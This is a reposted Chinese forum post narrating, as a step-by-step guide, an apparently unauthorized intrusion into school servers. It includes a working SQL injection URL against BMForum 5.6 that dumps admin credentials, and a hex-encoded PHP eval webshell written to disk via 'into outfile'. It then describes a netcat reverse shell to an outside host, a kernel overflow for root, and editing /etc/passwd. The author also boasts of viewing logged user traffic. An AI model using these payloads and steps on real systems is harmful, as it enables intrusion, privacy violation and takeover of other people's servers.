临安有雨 發表於 2012-6-13 10:07:04

linux系统从入侵到提权的详细过程(图文)

前奏:无意间拿下了学校一台检测网络访问的服务器,无意间看到一个远程登录的信息,遂对此网段扫描了一下80端口。。。 <br /><br />上个J8,就是那个上网检测东西。。<br /><br /><img alt="\" width="562" height="240" src="https://img.jbzj.com/file_images/article/201206/2012061310081316.png" /><br /><br />其实记录的很详细,没有加密的聊天内容都可以看到。我还是比较尊重他人隐私的,所以只查看了一些上网行为。<br /><br />刚才说了,扫了一下那个网段的80端口,有一个开着,就点进去看了一下,是BMForum&nbsp;2007&nbsp;5.6的论坛,php的。<br /><br />老系统了,记得前几年爆了个注入,也不知道是不是这个版本,上db-exploit看了一下,艹,中枪了。<br /><br /><br /><br />&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;-下面的来自db-exploit&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;<br /><br />BMForum&nbsp;5.6&nbsp;(tagname)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability<br /><br />Author:&nbsp;~!Dok_tOR!~<br />Date&nbsp;found:&nbsp;30.09.08<br />Product:&nbsp;BMForum<br />Version:&nbsp;5.6<br />URL:&nbsp;www.bmforum.com<br />Vulnerability&nbsp;Class:&nbsp;SQL&nbsp;Injection<br />Condition:&nbsp;magic_quotes_gpc&nbsp;=&nbsp;Off<br /><br />Exploit:<br /><br />http://localhost//plugins.php?p=tags&amp;forumid=0&amp;tagname=-1&prime;+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*<br /><br />#&nbsp;milw0rm.com&nbsp;<br /><br /><img alt="\" width="363" height="102" src="https://img.jbzj.com/file_images/article/201206/2012061310081317.png" /><br /><br />于是乎&hellip;.<br /><br /><img alt="\" width="377" height="100" src="https://img.jbzj.com/file_images/article/201206/2012061310081318.png" /><br /><br />不用猜你就懂了,密码是admin。<br /><br />进后台了,这个模式我不是很喜欢,翻了半天没找到能上传的地方。上J8。<br /><br /><img alt="\" width="632" height="151" src="https://img.jbzj.com/file_images/article/201206/2012061310081319.png" /><br /><br />不过,还是好好找,依然能找到可以利用的东西,发现了这个后台有phpinfo()和SQL执行。<br /><br />看了一下,是root权限,也得到了web目录,如果没开启魔术引号,可以考虑into&nbsp;outfile。<br /><br />补一句:mysql的root权限在linux下一般没什么用,有写权限就不错了,如果是windows系统,可以考虑导出udf.dll。<br /><br /><img alt="\" width="243" height="127" src="https://img.jbzj.com/file_images/article/201206/2012061310081320.png" /><img alt="\" width="260" height="122" src="https://img.jbzj.com/file_images/article/201206/2012061310081321.png" /><img alt="\" width="369" height="165" src="https://img.jbzj.com/file_images/article/201206/2012061310081322.png" /><br /><br /><img alt="\" width="583" height="78" src="https://img.jbzj.com/file_images/article/201206/2012061310081323.png" /><br /><br />管理员百密一疏啊,没开魔术引号~~蛤蛤,大快人心!!~<br /><br />直接select一句话木马,然后导出到文件~~<br /><br />下面那一段十六进制字符串是www.jb51.net&nbsp;&lt;?php&nbsp;eval($_REQUEST);?&gt; 的hex值<br /><br />select&nbsp;0x3C3F706870206576616C28245F524551554553545B6675636B5D293B3F3E&nbsp;into&nbsp;outfile&nbsp;&lsquo;/usr/local/bmf/bmb/datafile/x.php&rsquo;<br /><br /><img alt="\" width="445" height="303" src="https://img.jbzj.com/file_images/article/201206/2012061310081324.png" /><br /><br />然后成功得到shell。如图。<br /><br /><img alt="\" width="880" height="600" src="https://img.jbzj.com/file_images/article/201206/2012061310081325.png" /><br /><br />接下来,试试菜刀里能不能执行命令,下面就要考虑提权了。<br /><br />试了一下,看似可以执行命令,也得到了一些服务器信息。<br /><br /><img alt="\" width="591" height="493" src="https://img.jbzj.com/file_images/article/201206/2012061310081326.png" /><br /><br />2.6.9-22的内核,有溢出。<br /><br />这个终端有个毛病,就是不能即时回显,毕竟是通过webshell虚拟的终端,所以,还需要nc来反弹一个shell,用于溢出。<br /><br />这个服务器上已经装了nc,可是是阉割过的,不能指向bash,所以,下载源码,编译。<br /><br />用wget在sourceforge.net上下载,就不多说了。。<br /><br />编译什么的,也是so&nbsp;easy。实在不行就百度一个i386架构下编译的linux版netcat。<br /><br />下面的工作就是要反弹shell了,一台外网的机子是必须的,就算不是外网,能映射也行。<br /><br />刚好手头有个映射过端口的服务器,如果是外网服务器,就更简单了,详见netcat使用帮助。<br /><br />http://wenku.baidu.com/view/f77334ee19e8b8f67c1cb9fe.html<br /><br />好了,开始反弹吧。。。<br /><br /><img alt="\" width="558" height="56" src="https://img.jbzj.com/file_images/article/201206/2012061310081327.png" /><br /><br /><img alt="\" width="666" height="426" src="https://img.jbzj.com/file_images/article/201206/2012061310081328.png" /><br /><br />很好,反弹成功,已经可以执行一些低权限的命令的。<br /><br />接着提权吧。上传了一个叫做&ldquo;x&rdquo;的程序,用于溢出。<br /><br /><img alt="\" width="481" height="153" src="https://img.jbzj.com/file_images/article/201206/2012061310081329.png" /><br /><br />蛤蛤,溢出成功了,已经是root权限了,下面加用户什么的就不说了,你懂的~~<br /><br />唠叨一句,变身成root的方法。。。修改/etc/passwd<br /><br /><img alt="\" width="354" height="93" src="https://img.jbzj.com/file_images/article/201206/2012061310081330.png" /><br /><br />这是我用pietty连接ssh之后,查看passwd,已经改成root了<br /><br /><br />作者&nbsp;sunrise@luzix.com from:情'blog<br />
頁: [1]
查看完整版本: linux系统从入侵到提权的详细过程(图文)